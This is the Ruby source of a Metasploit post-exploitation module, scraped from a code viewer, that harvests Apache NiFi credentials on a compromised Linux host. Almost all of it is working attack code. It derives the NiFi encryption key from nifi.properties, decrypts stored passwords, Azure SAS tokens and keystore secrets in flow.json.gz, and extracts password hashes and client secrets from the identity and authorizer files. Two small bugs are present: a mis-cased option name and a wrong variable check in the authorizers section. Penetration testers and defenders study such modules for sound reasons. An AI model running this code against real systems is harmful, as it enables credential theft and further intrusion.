378 lines
15 KiB
Ruby
378 lines
15 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Apache NiFi Credentials Gather',
|
|
'Description' => %q{
|
|
This module will grab Apache NiFi credentials from various files on Linux.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # Metasploit Module
|
|
'Topaco', # crypto assist
|
|
],
|
|
'Platform' => ['linux', 'unix'],
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'References' => [
|
|
['URL', 'https://stackoverflow.com/questions/77391210/python-vs-ruby-aes-pbkdf2'],
|
|
['URL', 'https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#nifi_sensitive_props_key']
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [],
|
|
'SideEffects' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('NIFI_PATH', [false, 'NiFi folder', '/opt/nifi/']),
|
|
OptString.new('NIFI_PROPERTIES', [false, 'NiFi Properties file', '/opt/nifi/conf/nifi.properties']),
|
|
OptString.new('NIFI_FLOW_JSON', [false, 'NiFi flow.json.gz file', '/opt/nifi/conf/flow.json.gz']),
|
|
OptString.new('NIFI_IDENTITY', [false, 'NiFi login-identity-providers.xml file', '/opt/nifi/conf/login-identity-providers.xml']),
|
|
OptString.new('NIFI_AUTHORIZERS', [false, 'NiFi authorizers file', '/opt/nifi/conf/authorizers.xml']),
|
|
OptInt.new('ITERATIONS', [true, 'Encryption iterations', 160_000])
|
|
], self.class
|
|
)
|
|
end
|
|
|
|
def authorizers_file
|
|
return @authorizers_file if @authorizers_file
|
|
|
|
[datastore['NIFI_authorizers'], "#{datastore['NIFI_PATH']}/conf/authorizers.xml"].each do |f|
|
|
unless file_exist? f
|
|
vprint_bad("#{f} not found")
|
|
next
|
|
end
|
|
vprint_status("Found authorizers.xml file #{f}")
|
|
unless readable? f
|
|
vprint_bad("#{f} not readable")
|
|
next
|
|
end
|
|
print_good("#{f} is readable!")
|
|
@authorizers_file = f
|
|
break
|
|
end
|
|
@authorizers_file
|
|
end
|
|
|
|
def identity_file
|
|
return @identity_file if @identity_file
|
|
|
|
[datastore['NIFI_IDENTITY'], "#{datastore['NIFI_PATH']}/conf/login-identity-providers.xml"].each do |f|
|
|
unless file_exist? f
|
|
vprint_bad("#{f} not found")
|
|
next
|
|
end
|
|
vprint_status("Found login-identity-providers.xml file #{f}")
|
|
unless readable? f
|
|
vprint_bad("#{f} not readable")
|
|
next
|
|
end
|
|
print_good("#{f} is readable!")
|
|
@identity_file = f
|
|
break
|
|
end
|
|
@identity_file
|
|
end
|
|
|
|
def properties_file
|
|
return @properties_file if @properties_file
|
|
|
|
[datastore['NIFI_PROPERTIES'], "#{datastore['NIFI_PATH']}/conf/nifi.properties"].each do |f|
|
|
unless file_exist? f
|
|
vprint_bad("#{f} not found")
|
|
next
|
|
end
|
|
vprint_status("Found nifi.properties file #{f}")
|
|
unless readable? f
|
|
vprint_bad("#{f} not readable")
|
|
next
|
|
end
|
|
print_good("#{f} is readable!")
|
|
@properties_file = f
|
|
break
|
|
end
|
|
@properties_file
|
|
end
|
|
|
|
def flow_file
|
|
return @flow_file if @flow_file
|
|
|
|
[datastore['NIFI_FLOW_JSON'], "#{datastore['NIFI_PATH']}/conf/flow.json.gz"].each do |f|
|
|
unless file_exist? f
|
|
vprint_bad("#{f} not found")
|
|
next
|
|
end
|
|
vprint_status("Found flow.json.gz file #{f}")
|
|
unless readable? f
|
|
vprint_bad("#{f} not readable")
|
|
next
|
|
end
|
|
print_good("#{f} is readable!")
|
|
@flow_file = f
|
|
break
|
|
end
|
|
@flow_file
|
|
end
|
|
|
|
def salt
|
|
'NiFi Static Salt'
|
|
end
|
|
|
|
def process_type_azure_storage_credentials_controller_service(name, service)
|
|
table_entries = []
|
|
storage_account_name = parse_aes_256_gcm_enc_string(service['storage-account-name'])
|
|
return table_entries if storage_account_name.nil?
|
|
|
|
storage_account_name_decrypt = decrypt_aes_256_gcm(storage_account_name, @decrypted_key)
|
|
|
|
# this is optional
|
|
if service['managed-identity-client-id']
|
|
client_id = parse_aes_256_gcm_enc_string(service['managed-identity-client-id'])
|
|
return table_entries if client_id.nil?
|
|
|
|
client_id_decrypt = decrypt_aes_256_gcm(client_id, @decrypted_key)
|
|
else
|
|
client_id_decrypt = ''
|
|
end
|
|
|
|
sas_token = parse_aes_256_gcm_enc_string(service['storage-sas-token'])
|
|
return table_entries if sas_token.nil?
|
|
|
|
sas_token_decrypt = decrypt_aes_256_gcm(sas_token, @decrypted_key)
|
|
|
|
information = "storage-account-name: #{storage_account_name_decrypt}"
|
|
information << ", storage-endpoint-suffix: #{service['storage-endpoint-suffix']}" if service['storage-endpoint-suffix']
|
|
table_username = client_id_decrypt.empty? ? '' : "managed-identity-client-id: #{client_id_decrypt}"
|
|
|
|
@flow_json_string = @flow_json_string.gsub(service['storage-sas-token'], sas_token_decrypt)
|
|
@flow_json_string = @flow_json_string.gsub(service['storage-account-name'], storage_account_name_decrypt)
|
|
@flow_json_string = @flow_json_string.gsub(service['managed-identity-client-id'], client_id_decrypt) unless client_id_decrypt.empty?
|
|
table_entries << [name, table_username, sas_token_decrypt, information]
|
|
table_entries
|
|
end
|
|
|
|
# This function is built to attempt to decrypt a processor/service that we dont have a specific decryptor for.
|
|
# we may miss grouping some fields together, but its better to print them out than do nothing with them.
|
|
def process_type_generic(name, processor)
|
|
table_entries = []
|
|
processor.each do |property|
|
|
property_name = property[0]
|
|
property_value = property[1]
|
|
next unless property_value.is_a? String
|
|
next unless property_value.starts_with? 'enc{'
|
|
|
|
password = parse_aes_256_gcm_enc_string(property_value)
|
|
next if password.nil?
|
|
|
|
password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
|
|
table_entries << [name, '', password_decrypt, "Property name: #{property_name}"]
|
|
@flow_json_string = @flow_json_string.gsub(property_value, password_decrypt)
|
|
end
|
|
table_entries
|
|
end
|
|
|
|
def process_type_org_apache_nifi_processors_standard_gethttp(name, processor)
|
|
table_entries = []
|
|
return table_entries unless processor['Password']
|
|
|
|
username = processor['Username']
|
|
url = processor['URL']
|
|
password = parse_aes_256_gcm_enc_string(processor['Password'])
|
|
return table_entries if password.nil?
|
|
|
|
password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
|
|
table_entries << [name, username, password_decrypt, "URL: #{url}"]
|
|
@flow_json_string = @flow_json_string.gsub(processor['Password'], password_decrypt)
|
|
table_entries
|
|
end
|
|
|
|
def process_type_standard_restricted_ssl_context_service(controller_properties)
|
|
table_entries = []
|
|
if controller_properties['Keystore Filename'] && controller_properties['Keystore Password']
|
|
name = 'Keystore'
|
|
username = controller_properties['Keystore Filename']
|
|
password = parse_aes_256_gcm_enc_string(controller_properties['Keystore Password'])
|
|
unless password.nil?
|
|
password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
|
|
table_entries << [name, username, password_decrypt, '']
|
|
@flow_json_string = @flow_json_string.gsub(controller_properties['Keystore Password'], password_decrypt)
|
|
end
|
|
end
|
|
|
|
if controller_properties['Truststore Filename'] && controller_properties['Truststore Password']
|
|
name = 'Truststore'
|
|
username = controller_properties['Truststore Filename']
|
|
password = parse_aes_256_gcm_enc_string(controller_properties['Truststore Password'])
|
|
unless password.nil?
|
|
password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
|
|
table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"]
|
|
@flow_json_string = @flow_json_string.gsub(controller_properties['Truststore Password'], password_decrypt)
|
|
end
|
|
end
|
|
|
|
return table_entries unless controller_properties['Truststore Filename'] && controller_properties['key-password']
|
|
|
|
name = 'Key Password'
|
|
username = controller_properties['Truststore Filename']
|
|
password = parse_aes_256_gcm_enc_string(controller_properties['key-password'])
|
|
return table_entries if password.nil?
|
|
|
|
password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)
|
|
table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"]
|
|
@flow_json_string = @flow_json_string.gsub(controller_properties['key-password'], password_decrypt)
|
|
|
|
table_entries
|
|
end
|
|
|
|
def decrypt_aes_256_gcm(enc_fields, key)
|
|
vprint_status(' Decryption initiated for AES-256-GCM')
|
|
vprint_status(" Nonce: #{enc_fields[:nonce]}, Auth Tag: #{enc_fields[:auth_tag]}, Ciphertext: #{enc_fields[:ciphertext]}")
|
|
cipher = OpenSSL::Cipher.new('AES-256-GCM')
|
|
cipher.decrypt
|
|
cipher.key = key
|
|
cipher.iv_len = 16
|
|
cipher.iv = [enc_fields[:nonce]].pack('H*')
|
|
cipher.auth_tag = [enc_fields[:auth_tag]].pack('H*')
|
|
|
|
decrypted_text = cipher.update([enc_fields[:ciphertext]].pack('H*'))
|
|
decrypted_text << cipher.final
|
|
decrypted_text
|
|
end
|
|
|
|
def parse_aes_256_gcm_enc_string(password)
|
|
password = password[4, password.length - 5] # remove enc{ at the beginning and } at the end
|
|
password.match(/(?<nonce>\w{32})(?<ciphertext>\w+)(?<auth_tag>\w{32})/) # parse out the fields
|
|
end
|
|
|
|
def run
|
|
unless ((flow_file && properties_file) || identity_file)
|
|
fail_with(Failure::NotFound, 'Unable to find login-identity-providers.xml, nifi.properties and/or flow.json.gz files')
|
|
end
|
|
|
|
properties = read_file(properties_file)
|
|
path = store_loot('nifi.properties', 'text/plain', session, properties, 'nifi.properties', 'nifi properties file')
|
|
print_good("properties data saved in: #{path}")
|
|
key = properties.scan(/^nifi.sensitive.props.key=(.+)$/).flatten.first.strip
|
|
fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if key.nil?
|
|
print_good("Key: #{key}")
|
|
algorithm = properties.scan(/^nifi.sensitive.props.algorithm=(\w+)$/).flatten.first.strip
|
|
fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if algorithm.nil?
|
|
|
|
columns = ['Name', 'Username', 'Password', 'Other Information']
|
|
table = Rex::Text::Table.new('Header' => 'NiFi Flow Data', 'Indent' => 1, 'Columns' => columns)
|
|
|
|
if flow_file
|
|
flow_json = Zlib.gunzip(read_file(flow_file))
|
|
|
|
path = store_loot('nifi.flow.json', 'application/json', session, flow_json, 'flow.json', 'nifi flow data')
|
|
print_good("Original data containing encrypted fields saved in: #{path}")
|
|
|
|
flow_json = JSON.parse(flow_json)
|
|
@flow_json_string = JSON.pretty_generate(flow_json) # so we can save an unencrypted version as well
|
|
|
|
# NIFI_PBKDF2_AES_GCM_256 is the default as of 1.14.0
|
|
# leave this as an if statement so it can be expanded to include more algorithms in the future
|
|
if algorithm == 'NIFI_PBKDF2_AES_GCM_256'
|
|
# https://gist.github.com/tylerpace/8f64b7e00ffd9fb1ef5ea70df0f9442f
|
|
@decrypted_key = OpenSSL::PKCS5.pbkdf2_hmac(key, salt, datastore['ITERATIONS'], 32, OpenSSL::Digest.new('SHA512'))
|
|
|
|
vprint_status('Checking root group processors')
|
|
flow_json.dig('rootGroup', 'processors').each do |processor|
|
|
vprint_status(" Analyzing #{processor['processor']} of type #{processor['type']}")
|
|
case processor['type']
|
|
when 'org.apache.nifi.processors.standard.GetHTTP'
|
|
table_entries = process_type_org_apache_nifi_processors_standard_gethttp(processor['name'], processor['properties'])
|
|
else
|
|
table_entries = process_type_generic(processor['name'], processor['properties'])
|
|
end
|
|
table.rows.concat table_entries
|
|
end
|
|
|
|
vprint_status('Checking root group controller services')
|
|
flow_json.dig('rootGroup', 'controllerServices').each do |service|
|
|
vprint_status(" Analyzing #{service['name']} of type #{service['type']}")
|
|
case service['type']
|
|
when 'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService_v12',
|
|
'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService'
|
|
table_entries = process_type_azure_storage_credentials_controller_service(service['name'], service['properties'])
|
|
when 'org.apache.nifi.ssl.StandardRestrictedSSLContextService'
|
|
table_entries = process_type_standard_restricted_ssl_context_service(service['properties'])
|
|
else
|
|
table_entries = process_type_generic(service['name'], service['properties'])
|
|
end
|
|
table.rows.concat table_entries
|
|
end
|
|
|
|
else
|
|
print_bad("Processor for #{algorithm} not implemented in module. Use nifi-toolkit to potentially change algorithm.")
|
|
end
|
|
|
|
unless @flow_json_string == JSON.pretty_generate(flow_json) # dont write if we didn't change anything
|
|
path = store_loot('nifi.flow.decrypted.json', 'application/json', session, @flow_json_string, 'flow.decrypted.json', 'nifi flow data decrypted')
|
|
print_good("Decrypted data saved in: #{path}")
|
|
end
|
|
end
|
|
|
|
vprint_status('Checking identity file')
|
|
if identity_file
|
|
identity_content = read_file(identity_file)
|
|
xml = Nokogiri::XML.parse(identity_content)
|
|
|
|
xml.xpath('//loginIdentityProviders//provider').each do |c|
|
|
name = c.xpath('identifier').text
|
|
username = c.xpath('property[@name="Username"]').text
|
|
hash = c.xpath('property[@name="Password"]').text
|
|
next if (username.blank? || hash.blank?)
|
|
|
|
table << [name, username, hash, 'From login-identity-providers.xml']
|
|
|
|
credential_data = {
|
|
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
|
|
origin_type: :session,
|
|
post_reference_name: refname,
|
|
private_type: :nonreplayable_hash,
|
|
private_data: hash,
|
|
session_id: session_db_id,
|
|
username: username,
|
|
workspace_id: myworkspace_id
|
|
}
|
|
create_credential(credential_data)
|
|
end
|
|
end
|
|
|
|
vprint_status('Checking authorizers file')
|
|
if authorizers_file
|
|
authorizers_content = read_file(authorizers_file)
|
|
xml = Nokogiri::XML.parse(authorizers_content)
|
|
|
|
xml.xpath('//authorizers//userGroupProvider').each do |c|
|
|
next if c.xpath('property[@name="Client Secret"]').text.blank?
|
|
|
|
name = c.xpath('identifier').text
|
|
username = "Directory/Tenant ID: #{c.xpath('property[@name="Directory ID"]').text}" \
|
|
", Application ID: #{c.xpath('property[@name="Application ID"]').text}"
|
|
password = c.xpath('property[@name="Client Secret"]').text
|
|
next if (username.blank? || hash.blank?)
|
|
|
|
table << [name, username, password, 'From authorizers.xml']
|
|
end
|
|
end
|
|
|
|
if !table.rows.empty?
|
|
print_good('NiFi Flow Values')
|
|
print_line(table.to_s)
|
|
end
|
|
end
|
|
end
|